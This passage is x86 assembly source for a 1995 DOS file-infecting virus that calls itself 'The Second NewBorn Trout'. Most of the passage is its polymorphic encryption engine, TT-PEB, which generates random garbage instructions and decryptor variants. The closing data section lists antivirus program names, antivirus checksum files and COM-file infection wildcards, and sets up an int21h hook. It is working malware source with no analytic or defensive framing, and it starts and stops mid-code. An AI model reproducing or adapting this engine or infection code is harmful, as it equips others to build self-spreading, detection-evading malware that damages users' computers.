retn + +garb_rr13: + call sub_47 + call garb_rr1e + or al,ah + retn + +garb_rr14: + cmp byte ptr [some_lock],0 + jne loc_107 ; Jump if not equal + mov byte ptr [some_lock],0FFh + call garb_rr19 + mov byte ptr [some_lock],0 + retn +loc_107: + mov byte ptr ds:[tmp_store_ah],ah +loc_108: + mov ah,byte ptr ds:[tmp_store_ah] + call garb_rr0f + mov byte ptr ds:[tmp_store_ah],ah + mov ah,al + and ah,3 + cmp [pntr_reg],ah + je loc_108 ; Jump if equal + cmp byte ptr [cntr_reg],ah + je loc_108 ; Jump if equal + mov ah,byte ptr ds:[tmp_store_ah] + retn + + +sub_49: + call garb_rr14 + mov ah,al + shl ah,3 + retn + +garb_rr15: + call sub_47 + call garb_rr14 + or al,ah + retn + +garb_rr16: + call sub_49 + call garb_rr14 + or al,ah + retn + +garb_rr17: + call sub_51 + call garb_rr14 + or al,ah + retn + +garb_rr18: + call sub_49 + call garb_rr1e + or al,ah + retn + +garb_rr19: + call garb_rr14 + cmp byte ptr [oper_reg],al + je garb_rr19 + retn + +sub_51: + call garb_rr19 + mov ah,al + shl ah,3 + retn + +garb_rr1a: + call sub_47 + call garb_rr19 + or al,ah + retn + +garb_rr1b: + call sub_49 + call garb_rr19 + or al,ah + retn + +garb_rr1c: + call sub_51 + call garb_rr19 + or al,ah + retn + +garb_rr1d: + call sub_51 + call garb_rr1e + or al,ah + retn + +garb_rr1e: + call get_random + and al,7 + cmp al,6 + je garb_rr1e + retn + +garb_rr1f: + cmp byte ptr [some_lock],0 + jne loc_112 ; Jump if not equal + mov byte ptr [some_lock],0FFh + call garb_rr29 + mov byte ptr [some_lock],0 + retn +loc_112: + call get_random + and al,7 + cmp al,4 + je garb_rr1f + retn + +sub_54: + call garb_rr1f + mov ah,al + shl ah,3 ; Shift w/zeros fill + retn + +garb_rr20: + call sub_54 + call garb_rr1f + or al,ah + retn + +garb_rr21: + call sub_56 + call garb_rr1f + or al,ah + retn + +garb_rr22: + call sub_58 + call garb_rr1f + or al,ah + retn + +garb_rr23: + call sub_54 + call garb_rr1e + or al,ah + retn + +garb_rr24: + cmp byte ptr [some_lock],0 + jne loc_114 ; Jump if not equal + mov byte ptr [some_lock],0FFh + call garb_rr29 + mov byte ptr [some_lock],0 + retn +loc_114: + call garb_rr1f + cmp [pntr_reg],al + je garb_rr24 + cmp byte ptr [cntr_reg],al + je garb_rr24 + retn + + +sub_56: + call garb_rr24 + mov ah,al + shl ah,3 + retn + +garb_rr25: + call sub_54 + call garb_rr24 + or al,ah + retn + +garb_rr26: + call sub_56 + call garb_rr24 + or al,ah + retn + +garb_rr27: + call sub_58 + call garb_rr24 + or al,ah + retn + +garb_rr28: + call sub_56 + call garb_rr1e + or al,ah + retn + +garb_rr29: + mov byte ptr ds:[tmp_store_ah],ah +loc_115: + mov ah,byte ptr ds:[tmp_store_ah] + call garb_rr24 + mov byte ptr ds:[tmp_store_ah],ah + mov ah,byte ptr [oper_reg] + and ah,0FBh + cmp al,ah + je loc_115 ; Jump if equal + mov ah,byte ptr ds:[tmp_store_ah] + retn + +sub_58: + call garb_rr29 + mov ah,al + shl ah,3 ; Shift w/zeros fill + retn + +garb_rr2a: + call sub_54 + call garb_rr29 + or al,ah + retn + +garb_rr2b: + call sub_56 + call garb_rr29 + or al,ah + retn + +garb_rr2c: + call sub_58 + call garb_rr29 + or al,ah + retn + +garb_rr2d: + call sub_58 + call garb_rr1e + or al,ah + retn + +garb_rr2e: + mov al,[si] + add si,1 + mov ah,al + and ah,3 + cmp [pntr_reg],ah + je loc_ret_116 + cmp byte ptr [cntr_reg],ah + je loc_ret_116 + cmp byte ptr [oper_reg],al + je loc_ret_116 + add si,1 + +loc_ret_116: + retn + +garb_rr2f: + mov al,[si] + add si,1 + cmp [pntr_reg],al + je loc_ret_117 + cmp byte ptr [cntr_reg],al + je loc_ret_117 + mov ah,byte ptr [oper_reg] + and ah,0FBh + cmp al,ah + je loc_ret_117 + add si,1 +loc_ret_117: + retn + +garb_rr30: + call get_random + and al,3 + cmp al,0 + jne loc_ret_119 ; Jump if not equal + call get_random + and al,18h + cmp al,10h + je garb_rr30 + or al,26h + stosb +loc_ret_119: + retn + +garb_rr31: + cmp byte ptr [decr_init],0 + je loc_ret_120 + cmp byte ptr [cntr_reg],1 + je loc_ret_120 + cmp byte ptr [oper_reg],1 + je loc_ret_120 + cmp byte ptr [oper_reg],5 + je loc_ret_120 + mov al,byte ptr [oper_reg] + and al,0FBh + cmp al,1 + je loc_ret_120 + call get_random + and al,3 + cmp al,0 + jne loc_ret_120 + call get_random + and al,1 + or al,0F2h + stosb +loc_ret_120: + retn + +garb_rr32: + cmp byte ptr [decr_init],0 + je loc_ret_121 + add si,1 +loc_ret_121: + retn + +tmp_store_ah db 29h ; tmp space to store AH + + + db 00h + db 00h +; this table contains the offsets to the garbage constructs. +; the first few (that create more complicated constructs like calls) have +; a fixed added value of 8000h, so the main generation routine will see if +; one of them has been choosen. this is done to make the detection of such +; constructs faster. infact this kind of constructs can't be always done +; (the poly doesn't generate a call construct in another call construct and +; such like things) of course the offsets will be corrected later. +garbage_offsets: + dw offset garb_cf0 + 8000h + dw offset garb_cf1 + 8000h + dw offset garb_cf2 + 8000h + dw offset garb_cf3 + 8000h + dw offset garb_cf4 + 8000h + dw offset garb_cf5 + 8000h + dw offset garb_c00 + dw offset garb_c01 + dw offset garb_c02 + dw offset garb_c03 + dw offset garb_c04 + dw offset garb_c05 + dw offset garb_c06 + dw offset garb_c07 + dw offset garb_c08 + dw offset garb_c0a + dw offset garb_c0c + dw offset garb_c0d + dw offset garb_c0f + dw offset garb_c11 + dw offset garb_c13 + dw offset garb_c15 + dw offset garb_c18 + dw offset garb_c1c + dw offset garb_c1e + dw offset garb_c20 + dw offset garb_c22 + dw offset garb_c24 + dw offset garb_c27 + dw offset garb_c29 + dw offset garb_c2a + dw offset garb_c2b + dw offset garb_c2c + dw offset garb_c2d + dw offset garb_c2e + dw offset garb_c2f + dw offset garb_c30 + dw offset garb_c31 + dw offset garb_c32 + dw offset garb_c33 + dw offset garb_c34 + dw offset garb_c35 + dw offset garb_c36 + dw offset garb_c37 + dw offset garb_c38 + dw offset garb_c39 + dw offset garb_c3a + dw offset garb_c3b + dw offset garb_c3c + dw offset garb_c3d + dw offset garb_c3e + dw offset garb_c3f + dw offset garb_c40 + dw offset garb_c41 + dw offset garb_c42 + dw offset garb_c43 + dw offset garb_c44 + dw offset garb_c45 + dw offset garb_c46 + dw offset garb_c47 + dw offset garb_c48 + dw offset garb_c49 + dw offset garb_c4a + dw offset garb_c4b + dw offset garb_c4c + dw offset garb_c4d + dw offset garb_c4e + dw offset garb_c4f + dw offset garb_c50 + dw offset garb_c51 + dw offset garb_c52 + dw offset garb_c53 + dw offset garb_c54 + dw offset garb_c55 + dw offset garb_c56 + dw offset garb_c57 + dw offset garb_c58 + dw offset garb_c59 + dw offset garb_c5a + dw offset garb_c5b + dw offset garb_c5c + dw offset garb_c5d + dw offset garb_c5e + dw offset garb_c5f + dw offset garb_c60 + dw offset garb_c61 + dw offset garb_c62 + dw offset garb_c63 + dw offset garb_c64 + dw offset garb_c65 + dw offset garb_c66 + dw offset garb_c67 + dw offset garb_c68 + dw offset garb_c69 + dw offset garb_c6a + dw offset garb_c6b + dw offset garb_c6c + dw offset garb_c6d + dw offset garb_c6e + dw offset garb_c6f + dw offset garb_c70 + dw offset garb_c71 + dw offset garb_c72 + dw offset garb_c73 + dw offset garb_c74 + dw offset garb_c75 + dw offset garb_c76 + dw offset garb_c77 + dw offset garb_c78 + dw offset garb_c79 + dw offset garb_c7a + dw offset garb_c7b + dw offset garb_c7c + dw offset garb_c7d + dw offset garb_c7e + dw offset garb_c7f + dw offset garb_c80 + dw offset garb_c81 + dw offset garb_c82 + dw offset garb_c83 + dw offset garb_c84 + dw offset garb_c9c + dw offset garb_c85 + dw offset garb_c86 + dw offset garb_c87 + dw offset garb_c28 + dw offset garb_c88 + dw offset garb_c89 + dw offset garb_c8a + dw offset garb_c8b + dw offset garb_c8c + dw offset garb_c8d + dw offset garb_c8e + dw offset garb_c8f + dw offset garb_c90 + dw offset garb_c91 + dw offset garb_c92 + dw offset garb_c93 + dw offset garb_c94 + dw offset garb_c95 + dw offset garb_c96 + dw offset garb_c97 + dw offset garb_c98 + dw offset garb_c99 + dw offset garb_c9a + dw offset garb_c9b + dw offset garb_c26 + dw offset garb_c9d + dw offset garb_c9e + dw offset garb_c9f + dw offset garb_ca0 + dw offset garb_ca1 + dw offset garb_ca2 + dw offset garb_ca3 + dw offset garb_ca4 + dw offset garb_ca5 + dw offset garb_ca6 + dw offset garb_ca7 + dw offset garb_ca8 + dw offset garb_ca9 + dw offset garb_caa + dw offset garb_cab + dw offset garb_cac + dw offset garb_cad + dw offset garb_cae + dw offset garb_caf + dw offset garb_c25 + dw offset garb_cb0 + dw offset garb_cb1 + dw offset garb_cb2 + dw offset garb_cb3 + dw offset garb_cb4 + dw offset garb_cb5 + dw offset garb_cb6 + dw offset garb_cb7 + dw offset garb_cb8 + dw offset garb_cb9 + dw offset garb_cbc + dw offset garb_cbd + dw offset garb_cbe + dw offset garb_cbe + dw offset garb_cbf + dw offset garb_cbf + dw offset garb_cc0 + dw offset garb_cc0 + dw offset garb_cc1 + dw offset garb_cc1 + dw offset garb_cc2 + dw offset garb_cc2 + dw offset garb_cc3 + dw offset garb_cc3 + dw offset garb_cc4 + dw offset garb_cc4 + dw offset garb_cc5 + dw offset garb_cc5 + dw offset garb_cc6 + dw offset garb_cc6 + dw offset garb_cc7 + dw offset garb_cc7 + dw offset garb_cc8 + dw offset garb_cc8 + dw offset garb_cc9 + dw offset garb_cc9 + dw 00h ; end marker + +; End of table with garbage constructs offsets + +garb_cf0: +; +; looks like +; jmp short foo1 +; _rndnr +; foo1: +; + mov al,0ebh ; jmp short + stosb +loc_122: + call get_random + and ax,7 + cmp al,0 + je loc_122 + stosb ; store the offset + mov cx,ax +locloop_123: + call get_random + stosb ; fill with random data + loop locloop_123 + retn + +garb_cf1: +; +; looks like +; jmpc foo1 +; _garbage +; foo1: +; + mov al,[spec_cnst] + mov byte ptr [spec_cnst],0 ; lock generation of spec + push ax + mov al,[some_lock] + mov byte ptr [some_lock],0 + push ax +loc_124: + call get_random + and al,0Fh + cmp al,2 + jb loc_124 + cmp al,7 + ja loc_124 + or al,70h + stosb ; do some sort of conditional + ; jump + add di,1 + push di + mov al,0Fh + call sub_37 + pop bx + mov ax,di + sub ax,bx + mov es:[bx-1],al ; cnd jump offset + pop ax + mov [some_lock],al + pop ax + mov [spec_cnst],al + retn +garb_cf2: +; +; looks like +; jcxz foo1 +; _garbage +; foo1: +; + mov al,[spec_cnst] + mov byte ptr [spec_cnst],0 + push ax + mov al,[some_lock] + mov byte ptr [some_lock],0 + push ax + mov al,0e3h ; jcxz opcode + stosb + add di,1 + push di + mov al,0Fh + call sub_37 + pop bx + mov ax,di + sub ax,bx + mov es:[bx-1],al ; jcxz jump offset + pop ax + mov [some_lock],al + pop ax + mov [spec_cnst],al + retn +garb_cf3: +; +; looks like: +; call foo1 +; _garbage +; jmp a_foo1 +; foo1: +; _garbage +; ret +; _rndnr +; a_foo1: +; + mov al,[spec_cnst] + mov byte ptr [spec_cnst],0 + push ax + call get_random + mov al,0e8h ; call opcode + stosb + add di,2 + push di + mov al,3 + call garbager + mov al,0ebh ; jmp short opcode + stosb + add di,1 + pop bx + push di + mov ax,di + sub ax,bx + mov es:[bx-2],ax ; adress to be call-ed + mov al,7 + call sub_37 ; garbage + mov al,0C3h ; ret opcode + stosb + call get_random + and ax,7 + cmp ax,0 + je loc_126 + mov cx,ax + +locloop_125: + call get_random + stosb + loop locloop_125 + +loc_126: + pop bx + mov ax,di + sub ax,bx + mov es:[bx-1],al ; adress for the jmp short + ; after the call-ed + ; "subroutine" + pop ax + mov [spec_cnst],al + retn +garb_cf4: +; +; looks like +; push cs +; call foo1 +; _garbage +; jmp a_foo1 +; foo1: +; _garbage +; retf +; _rndnr +; a_foo1: +; + mov al,[spec_cnst] + mov byte ptr [spec_cnst],0 + push ax + mov al,0eh ; push cs opcode + stosb + mov al,7 + call garbager + mov al,0e8h ; call opcode + stosb + add di,2 + push di + mov al,3 + call garbager + mov al,0ebh ; jmp that will jump the + stosb ; call-ed subroutine + add di,1 + pop bx + push di + mov ax,di + sub ax,bx + mov es:[bx-2],ax ; adress for the call + mov al,7 + call sub_37 ; garbage + mov al,0cbh ; retf opcode + stosb + call get_random + and ax,7 + cmp ax,0 + je loc_128 + mov cx,ax +locloop_127: + call get_random + stosb + loop locloop_127 +loc_128: + pop bx + mov ax,di + sub ax,bx + mov es:[bx-1],al ; the offset for the jmp + pop ax + mov [spec_cnst],al + retn +garb_cf5: +; +; looks like +; push reg_x +; _garbage +; pop reg_x +; + call garb_rr1f + push ax + or al,50h ; push base opcode + stosb + mov al,0Fh + call sub_37 + pop ax + or al,58h ; pop base opcode + stosb + retn + +; Garbage instruction construction table +; Every entry in this table is used to create some kind of garbage. The dbs +; are interpreted byte by byte by a TT-PEB routine. There is some sorta +; "compiler" of garbage in TT-PEB. More in the poly description :-) + +garb_c00 db 000h,090h,0ffh +garb_c01 db 000h,0fbh,0ffh +garb_c02 db 000h,0fah,0ffh +garb_c03 db 000h,0f9h,0ffh +garb_c04 db 000h,0f8h,0ffh +garb_c05 db 000h,0fdh,0ffh +garb_c06 db 000h,0fch,0ffh +garb_c07 db 000h,0f5h,0ffh +garb_c08 db 02eh,000h,0ffh,000h,02fh,0ffh +garb_c0a db 02eh,004h,0ffh,000h,09fh,0ffh +garb_c0c db 000h,09eh,0ffh +garb_c0d db 02fh,000h,0ffh,000h,037h,0ffh +garb_c0f db 02fh,000h,0ffh,000h,03fh,0ffh +garb_c11 db 02fh,000h,0ffh,001h,002h,0d4h,00ah,0ffh +garb_c13 db 02fh,000h,0ffh,001h,002h,0d5h,00ah,0ffh +garb_c15 db 02eh,000h,0ffh,02fh,006h,0ffh,031h,000h,0ach,0ffh +garb_c18 db 02eh,000h,0ffh,02fh,006h,0ffh,02fh,007h,0ffh,031h + db 000h,0a6h,0ffh +garb_c1c db 02fh,007h,0ffh,031h,000h,0aeh,0ffh +garb_c1e db 02eh,000h,0ffh,000h,0d7h,0ffh +garb_c20 db 02eh,004h,0ffh,000h,098h,0ffh +garb_c22 db 02fh,002h,0ffh,000h,099h,0ffh +garb_c24 db 032h,0ffh,02fh,001h,0ffh,004h,00ch,002h,0e0h,000h + db 0feh,0ffh +garb_c27 db 02fh,000h,0ffh,029h,00bh,090h,0ffh +garb_c29 db 01fh,00bh,050h,029h,00bh,058h,0ffh +garb_c2a db 004h,00ch,018h,006h,029h,00bh,058h,0ffh +garb_c2b db 014h,00bh,0b0h,005h,0ffh +garb_c2c db 000h,080h,014h,00bh,0c0h,005h,0ffh +garb_c2d db 000h,080h,019h,00bh,0d0h,005h,0ffh +garb_c2e db 000h,080h,014h,00bh,0e8h,005h,0ffh +garb_c2f db 000h,080h,019h,00bh,0d8h,005h,0ffh +garb_c30 db 000h,080h,00fh,00bh,0f8h,005h,0ffh +garb_c31 db 000h,080h,014h,00bh,0f0h,005h,0ffh +garb_c32 db 000h,080h,014h,00bh,0e0h,005h,0ffh +garb_c33 db 000h,080h,014h,00bh,0c8h,005h,0ffh +garb_c34 db 000h,082h,014h,00bh,0c0h,005h,0ffh +garb_c35 db 000h,082h,019h,00bh,0d0h,005h,0ffh +garb_c36 db 000h,082h,014h,00bh,0e8h,005h,0ffh +garb_c37 db 000h,082h,019h,00bh,0d8h,005h,0ffh +garb_c38 db 000h,082h,00fh,00bh,0f8h,005h,0ffh +garb_c39 db 000h,082h,014h,00bh,0f0h,005h,0ffh +garb_c3a db 000h,082h,014h,00bh,0e0h,005h,0ffh +garb_c3b db 000h,082h,014h,00bh,0c8h,005h,0ffh +garb_c3c db 000h,088h,01ah,00bh,0c0h,0ffh +garb_c3d db 000h,000h,01ah,00bh,0c0h,0ffh +garb_c3e db 000h,010h,01ah,00bh,0c0h,0ffh +garb_c3f db 000h,028h,01ah,00bh,0c0h,0ffh +garb_c40 db 000h,018h,01ah,00bh,0c0h,0ffh +garb_c41 db 000h,038h,01ah,00bh,0c0h,0ffh +garb_c42 db 000h,030h,01ah,00bh,0c0h,0ffh +garb_c43 db 000h,020h,01ah,00bh,0c0h,0ffh +garb_c44 db 000h,008h,01ah,00bh,0c0h,0ffh +garb_c45 db 000h,08ah,012h,00bh,0c0h,0ffh +garb_c46 db 000h,002h,012h,00bh,0c0h,0ffh +garb_c47 db 000h,012h,012h,00bh,0c0h,0ffh +garb_c48 db 000h,02ah,012h,00bh,0c0h,0ffh +garb_c49 db 000h,01ah,012h,00bh,0c0h,0ffh +garb_c4a db 000h,03ah,012h,00bh,0c0h,0ffh +garb_c4b db 000h,032h,012h,00bh,0c0h,0ffh +garb_c4c db 000h,022h,012h,00bh,0c0h,0ffh +garb_c4d db 000h,00ah,012h,00bh,0c0h,0ffh +garb_c4e db 000h,086h,01ch,00bh,0c0h,0ffh +garb_c4f db 000h,0feh,014h,00bh,0c0h,0ffh +garb_c50 db 000h,0feh,014h,00bh,0c8h,0ffh +garb_c51 db 000h,0f6h,00fh,00bh,0c0h,005h,0ffh +garb_c52 db 000h,084h,010h,00bh,0c0h,0ffh +garb_c53 db 000h,084h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c54 db 000h,084h,013h,003h,0ffh +garb_c55 db 000h,0f6h,014h,00bh,0d0h,0ffh +garb_c56 db 000h,0f6h,014h,00bh,0d8h,0ffh +garb_c57 db 000h,0d0h,019h,00bh,0c8h,0ffh +garb_c58 db 000h,0d0h,019h,00bh,0c0h,0ffh +garb_c59 db 000h,0d0h,019h,00bh,0e8h,0ffh +garb_c5a db 000h,0d0h,019h,00bh,0e0h,0ffh +garb_c5b db 000h,0d0h,019h,00bh,0f8h,0ffh +garb_c5c db 000h,0d0h,019h,00bh,0d0h,0ffh +garb_c5d db 000h,0d0h,019h,00bh,0d8h,0ffh +garb_c5e db 000h,0d2h,019h,00bh,0c8h,0ffh +garb_c5f db 000h,0d2h,019h,00bh,0c0h,0ffh +garb_c60 db 000h,0d2h,019h,00bh,0e8h,0ffh +garb_c61 db 000h,0d2h,019h,00bh,0e0h,0ffh +garb_c62 db 000h,0d2h,019h,00bh,0f8h,0ffh +garb_c63 db 000h,0d2h,019h,00bh,0d0h,0ffh +garb_c64 db 000h,0d2h,019h,00bh,0d8h,0ffh +garb_c65 db 030h,000h,08ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c66 db 030h,000h,002h,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c67 db 030h,000h,012h,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c68 db 030h,000h,02ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c69 db 030h,000h,01ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6a db 030h,000h,03ah,00fh,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6b db 030h,000h,038h,00fh,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6c db 030h,000h,032h,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6d db 030h,000h,022h,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6e db 030h,000h,00ah,019h,00eh,003h,00bh,006h,005h,005h,0ffh +garb_c6f db 030h,000h,08ah,01dh,003h,0ffh +garb_c70 db 030h,000h,002h,01dh,003h,0ffh +garb_c71 db 030h,000h,012h,01dh,003h,0ffh +garb_c72 db 030h,000h,02ah,01dh,003h,0ffh +garb_c73 db 030h,000h,01ah,01dh,003h,0ffh +garb_c74 db 030h,000h,03ah,013h,003h,0ffh +garb_c75 db 030h,000h,038h,013h,003h,0ffh +garb_c76 db 030h,000h,032h,01dh,003h,0ffh +garb_c77 db 030h,000h,022h,01dh,003h,0ffh +garb_c78 db 030h,000h,00ah,01dh,003h,0ffh +garb_c79 db 024h,00bh,0b8h,005h,005h,0ffh +garb_c7a db 000h,081h,029h,00bh,0c0h,005h,005h,0ffh +garb_c7b db 000h,081h,029h,00bh,0d0h,005h,005h,0ffh +garb_c7c db 000h,081h,029h,00bh,0e8h,005h,005h,0ffh +garb_c7d db 000h,081h,029h,00bh,0d8h,005h,005h,0ffh +garb_c7e db 000h,081h,01fh,00bh,0f8h,005h,005h,0ffh +garb_c7f db 000h,081h,024h,00bh,0f0h,005h,005h,0ffh +garb_c80 db 000h,081h,024h,00bh,0e0h,005h,005h,0ffh +garb_c81 db 000h,081h,024h,00bh,0c8h,005h,005h,0ffh +garb_c82 db 000h,083h,029h,00bh,0c0h,005h,0ffh +garb_c83 db 000h,083h,029h,00bh,0d0h,005h,0ffh +garb_c84 db 000h,083h,029h,00bh,0e8h,005h,0ffh +garb_c9c db 000h,083h,029h,00bh,0d8h,005h,0ffh +garb_c85 db 000h,083h,01fh,00bh,0f8h,005h,0ffh +garb_c86 db 000h,083h,024h,00bh,0f0h,005h,0ffh +garb_c87 db 000h,083h,024h,00bh,0e0h,005h,0ffh +garb_c28 db 000h,083h,024h,00bh,0c8h,005h,0ffh +garb_c88 db 000h,089h,02ah,00bh,0c0h,0ffh +garb_c89 db 000h,001h,02ah,00bh,0c0h,0ffh +garb_c8a db 000h,011h,02ah,00bh,0c0h,0ffh +garb_c8b db 000h,029h,02ah,00bh,0c0h,0ffh +garb_c8c db 000h,019h,02ah,00bh,0c0h,0ffh +garb_c8d db 000h,039h,02ah,00bh,0c0h,0ffh +garb_c8e db 000h,031h,02ah,00bh,0c0h,0ffh +garb_c8f db 000h,021h,02ah,00bh,0c0h,0ffh +garb_c90 db 000h,009h,02ah,00bh,0c0h,0ffh +garb_c91 db 000h,08bh,022h,00bh,0c0h,0ffh +garb_c92 db 000h,003h,022h,00bh,0c0h,0ffh +garb_c93 db 000h,013h,022h,00bh,0c0h,0ffh +garb_c94 db 000h,02bh,022h,00bh,0c0h,0ffh +garb_c95 db 000h,01bh,022h,00bh,0c0h,0ffh +garb_c96 db 000h,03bh,022h,00bh,0c0h,0ffh +garb_c97 db 000h,033h,022h,00bh,0c0h,0ffh +garb_c98 db 000h,023h,022h,00bh,0c0h,0ffh +garb_c99 db 000h,00bh,022h,00bh,0c0h,0ffh +garb_c9a db 000h,087h,02ch,00bh,0c0h,0ffh +garb_c9b db 029h,00bh,040h,0ffh +garb_c26 db 029h,00bh,048h,0ffh +garb_c9d db 000h,0f7h,01fh,00bh,0c0h,005h,005h,0ffh +garb_c9e db 000h,085h,020h,00bh,0c0h,0ffh +garb_c9f db 000h,085h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh +garb_ca0 db 000h,0f7h,024h,00bh,0d0h,0ffh +garb_ca1 db 000h,0f7h,029h,00bh,0d8h,0ffh +garb_ca2 db 000h,0d1h,029h,00bh,0c8h,0ffh +garb_ca3 db 000h,0d1h,029h,00bh,0c0h,0ffh +garb_ca4 db 000h,0d1h,029h,00bh,0e8h,0ffh +garb_ca5 db 000h,0d1h,029h,00bh,0e0h,0ffh +garb_ca6 db 000h,0d1h,029h,00bh,0f8h,0ffh +garb_ca7 db 000h,0d1h,029h,00bh,0d0h,0ffh +garb_ca8 db 000h,0d1h,029h,00bh,0d8h,0ffh +garb_ca9 db 000h,0d3h,029h,00bh,0c8h,0ffh +garb_caa db 000h,0d3h,029h,00bh,0c0h,0ffh +garb_cab db 000h,0d3h,029h,00bh,0e8h,0ffh +garb_cac db 000h,0d3h,029h,00bh,0e0h,0ffh +garb_cad db 000h,0d3h,029h,00bh,0f8h,0ffh +garb_cae db 000h,0d3h,029h,00bh,0d0h,0ffh +garb_caf db 000h,0d3h,029h,00bh,0d8h,0ffh +garb_c25 db 030h,000h,08bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb0 db 030h,000h,003h,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb1 db 030h,000h,013h,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb2 db 030h,000h,02bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb3 db 030h,000h,01bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb4 db 030h,000h,03bh,01fh,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb5 db 030h,000h,039h,01fh,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb6 db 030h,000h,033h,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb7 db 030h,000h,023h,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb8 db 030h,000h,00bh,029h,00eh,003h,00bh,006h,009h,005h,0ffh +garb_cb9 db 000h,08dh,02dh,003h,0ffh +garb_cbc db 000h,08dh,02dh,00bh,040h,005h,0ffh +garb_cbd db 000h,08dh,02dh,00bh,080h,005h,005h,0ffh +garb_cbe db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,00bh,0cdh,021h + db 0ffh +garb_cbf db 032h,0ffh,02eh,004h,0ffh,001h,004h,0b4h,00dh,0cdh,021h + db 0ffh +garb_cc0 db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,019h,0cdh,021h + db 0ffh +garb_cc1 db 032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh + db 001h,004h,0b4h,02ah,0cdh,021h,0ffh +garb_cc2 db 032h,0ffh,02eh,004h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh + db 001h,004h,0b4h,02ch,0cdh,021h,0ffh +garb_cc3 db 032h,0ffh,02fh,000h,0ffh,02fh,003h,0ffh,02fh,001h,0ffh + db 001h,004h,0b4h,030h,0cdh,021h,0ffh +garb_cc4 db 032h,0ffh,02fh,000h,0ffh,02eh,002h,0ffh,001h,005h,0b8h + db 000h,033h,0cdh,021h,0ffh +garb_cc5 db 032h,0ffh,02fh,000h,0ffh,001h,004h,0b4h,054h,0cdh,021h + db 0ffh +garb_cc6 db 032h,0ffh,02fh,000h,0ffh,02fh,001h,0ffh,02fh,002h,0ffh + db 001h,004h,0b4h,003h,0cdh,010h,0ffh +garb_cc7 db 032h,0ffh,02fh,000h,0ffh,02eh,007h,0ffh,001h,004h,0b4h + db 00fh,0cdh,010h,0ffh +garb_cc8 db 032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h + db 000h,0cdh,013h,0ffh +garb_cc9 db 032h,0ffh,02eh,004h,0ffh,02eh,002h,0ffh,001h,004h,0b4h + db 001h,0cdh,013h,0ffh + +; Registers at TT-PEB call (saved poly parameters) +tt_saved_sp dw 0 +tt_saved_ss dw 0 +tt_saved_dx dw 0 +tt_saved_ds dw 0 +tt_saved_cx dw 0 +tt_saved_bp dw 0 +tt_saved_si dw 0 +tt_saved_ax dw 0 + +pntr_reg db 0FFh ; Register used as pointer (FF = not set yet) +pntr_pos dw 000h ; Position in memory where pointer assignment + ; is done +cntr_reg db 0FFh ; Register used as counter (FF = not set yet) +oper_reg db 0FFh ; Register used for opers (FF = not set yet) + + db 0 + +dec_loop_start dw 000h ; Pointer at beginning of the decryption loop +pntr_chdone db 0 ; FFh if code to update the pointer in the + ; decr loop hasn't been already generated. + ; 00h pointer update already done +cntr_chdone db 0 ; FFh if code to update the counter in the + ; decr loop hasn't been already generated. + ; 00h counter update already done +encr_pnt dw 000h ; Pointer at beginning of encrypted code after + ; decryptor +mate_pos dw 000h ; Position on the math operation +math_oc db 00h ; Opcode of the decryptor (the inverse of + ; the encryptor) +mathpos dw 000h ; Position of the math operation (again) +spec_cnst db 0FFh ; FFh can create, 00h can't create +some_lock db 0FFh ; FFh can create, 00h can't create +decr_init db 0FFh ; 00h building main decrypt. loop, FFh not yet + ; this three varialbes are used to limit in + ; some circumstances the generation of some + ; kind of code (for example a call in another + ; call construct and soo on) + + db 'STACK STACK STACK STACK STACK STACK ' + db 'STACK STACK STACK STACK STACK STACK ' + db 'STACK STACK STACK STACK STACK STACK ' + db 'STACK STACK STACK STACK STACK STACK ' + db 'STACK STACK STACK STACK STACK STACK ' + db 'STACK STACK STACK STACK ' + +tt_stack: +; TT-PEB stack grows (backwards :) ) from here + +int21h_jump db 0e9h ; jmp to int21h handler + dw offset int21h_handler - 103h ; in memory (so the -) + db '2T' ; 2Trout marker + +virus_message: + db 'This is "The Second NewBorn Trout" virus',0dh,0ah + db 'Programmed in the city of Milan, North Italy',0dh,0ah + db '[C] The Tricky Trout 1995', 0dh, 0ah + db 'Mutation Engine: TT-PEB ' + db '(Tricky Trout Plurimorphic Encryptor Builder) ' + db 'version 2.01 (TPE standard)',0dh,0ah + +orig_bytes db 0cdh,020h,090h,090h,090h +com_suffix db 'COM',0,0 + +os_files db 'IBMBIO.','IBMDOS.','COMMAND.', 0 +av_names db 'SCAN.','NETSCAN.','CLEAN.','VSHIELD.' + db 'F-PROT.','VSAFE.','MSAV.','CPAV.' + db 'NAV.','TBAV.','TBSCAN.','VDS.','NOVI.' + db 'AVP.','-V.','-VPRO.','VIREX.','AVSCAN.' + db 'VI-SPY.','GUARD.','FINDVIRU.','TNT.','TNTAV.' + db 'HTSCAN.','NEMESIS.','NOD.','ITAV.','VI.' + db 'VIRIT.','IM.','WIN.','TD.','DEBUG.', 0 + +crc_files db 'CHKLIST.MS', 0 + db 'CHKLIST.CPS', 0 + db 'ANTI-VIR.DAT', 0 + db '\SCANCRC.CRC', 0 + db '\_CHK.CHK', 0 + db '\NAV_._NO',0 +crc_files_end db 0 + +fastfile1 db 'C:*.COM', 0 ; fastinfection wildcards +fastfile2 db 'C:\DOS\KEYB.COM', 0 ; for the installation on +fastfile3 db 'C:\DOS\*.COM', 0 ; the new system :) +fastfile4 db 